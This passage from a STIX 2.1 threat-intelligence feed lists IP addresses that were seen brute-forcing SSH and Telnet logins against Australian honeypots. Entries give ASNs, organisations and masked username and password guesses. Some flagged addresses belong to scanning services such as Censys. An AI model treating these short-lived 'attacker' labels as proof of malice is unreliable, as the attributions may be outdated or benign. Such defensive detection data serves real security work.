      "id": "indicator--c9505ccd-2729-468c-b079-3e997ed5a662",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--87ca6ef3-59d1-4432-bb8d-4065e5a8935e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T09:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--edc05f00-7ea1-4146-955c-1d93f65eb68a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T09:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T09:15:02.000Z",
      "valid_until": "2026-05-12T09:15:01.000Z"
    },
    {
      "created": "2026-04-10T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--8d48bd37-a962-41fd-89d7-5ce020fbb87b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.102.92.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T10:15:14.000Z",
      "valid_until": "2026-05-12T10:15:08.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--e0ca5807-c336-47c3-87b6-c4af72d37ab0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.50.130.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--588f11ad-1b74-41a1-a33e-ad9499a086d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): a***********h.",
      "id": "indicator--3d4c4524-ac4b-405b-b2d6-b271a9decdf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k***********4.",
      "id": "indicator--612b6ae8-0085-45a2-81ae-fc3424877cdc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k***********@.",
      "id": "indicator--17ae3b3e-1663-4cad-a0c9-f7047a17ac04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k***********0.",
      "id": "indicator--fb9bcbd0-5642-4551-83bf-27d0b6bfa57f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): A*******3.",
      "id": "indicator--7ff8d345-785c-4bb7-8c02-b82ab85d2f4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k********..",
      "id": "indicator--5534e843-8c36-44ff-8114-fbb14e4a9dc5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k***********#.",
      "id": "indicator--a5b3164b-8322-4a82-8688-ed6a156ad158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): k******h. Passwords observed (masked): @**********h.",
      "id": "indicator--3be9990e-b74a-4b76-bfb3-dd3f6050f45e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.177.179.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--209d685d-cb64-45a4-a040-154b61b111f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '218.157.93.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--b45533cc-4a62-4042-b6d2-e4b794eef3e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): k***********#.",
      "id": "indicator--a9e5e7dd-0dd3-4b4f-8532-42f878adad82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T11:15:03.000Z",
      "valid_until": "2026-05-12T11:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd.",
      "id": "indicator--d6b72193-f263-4d42-8b37-17b473257e61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): u**r. Passwords observed (masked): K**********3.",
      "id": "indicator--8dd90175-23b5-45fa-803d-db5433e84ea7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.203.55.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): a***n. Passwords observed (masked): K***********@.",
      "id": "indicator--58a3fa7d-3b04-4de2-9430-604b948af3a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '139.162.149.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 61. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, a*******r, j*****n, r***n. Passwords observed (masked): 1**4, 2******5, A*************#, L****3, R*********#.",
      "id": "indicator--52fc0fa5-a370-4ab8-ab07-048fbda787de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): u**r. Passwords observed (masked): K***********!.",
      "id": "indicator--63d2fa55-b87e-4eac-8907-464ef94692c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '157.66.80.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k***********#.",
      "id": "indicator--240c1c40-5f29-45ea-8a2b-93406ed94a4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): 1**4.",
      "id": "indicator--eca6906a-6824-45d5-bef5-9f04fd5fadfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): k***********1.",
      "id": "indicator--d630559e-277e-4637-8b86-b80274941e0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): A********5.",
      "id": "indicator--2464be56-c37e-4d1c-8a8b-df626eb9a6e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 198479. Organisation(s): Nunsys SA. Usernames observed (masked): r**t, u****u, 3**********4, e****r, f*****r. Passwords observed (masked): 3***********4, 3**********4, A*******$, L**********4, P***********5.",
      "id": "indicator--d186c170-ab7f-4f05-92a0-c5b23de03116",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.9.193.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): K**********9.",
      "id": "indicator--715fee5c-6a69-487d-a5c6-57cee59a734d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.93.89.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): 1*******h.",
      "id": "indicator--c6d2ee5c-dc21-4630-abda-d9c1c346f038",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): k******h. Passwords observed (masked): a*******3.",
      "id": "indicator--e0979468-6708-4569-bcca-d0b2ff259895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): r**t. Passwords observed (masked): K***********#.",
      "id": "indicator--5ca2d48a-e71d-44b4-96d8-49fa2b9cf2bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--18a3e027-7d5d-423e-8d1e-3f7daab356f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.168.201.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, g***t. Passwords observed (masked): f*******8, f****d, j***d.",
      "id": "indicator--35002160-fd83-41f1-81b8-5c11cbc94a10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '221.144.162.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0cca83f8-77c9-49f0-94c1-30e62285c895",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.253.246.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 213877. Organisation(s): U1 Digital Services Ltd. Usernames observed (masked): c****s. Passwords observed (masked): 2***********h.",
      "id": "indicator--24e876b7-fde4-4366-a498-54be04223842",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-10T12:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '77.239.102.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-10T12:15:03.000Z",
      "valid_until": "2026-05-12T12:15:01.000Z"
    },
    {
      "created": "2026-04-10T12:15:03.000Z",
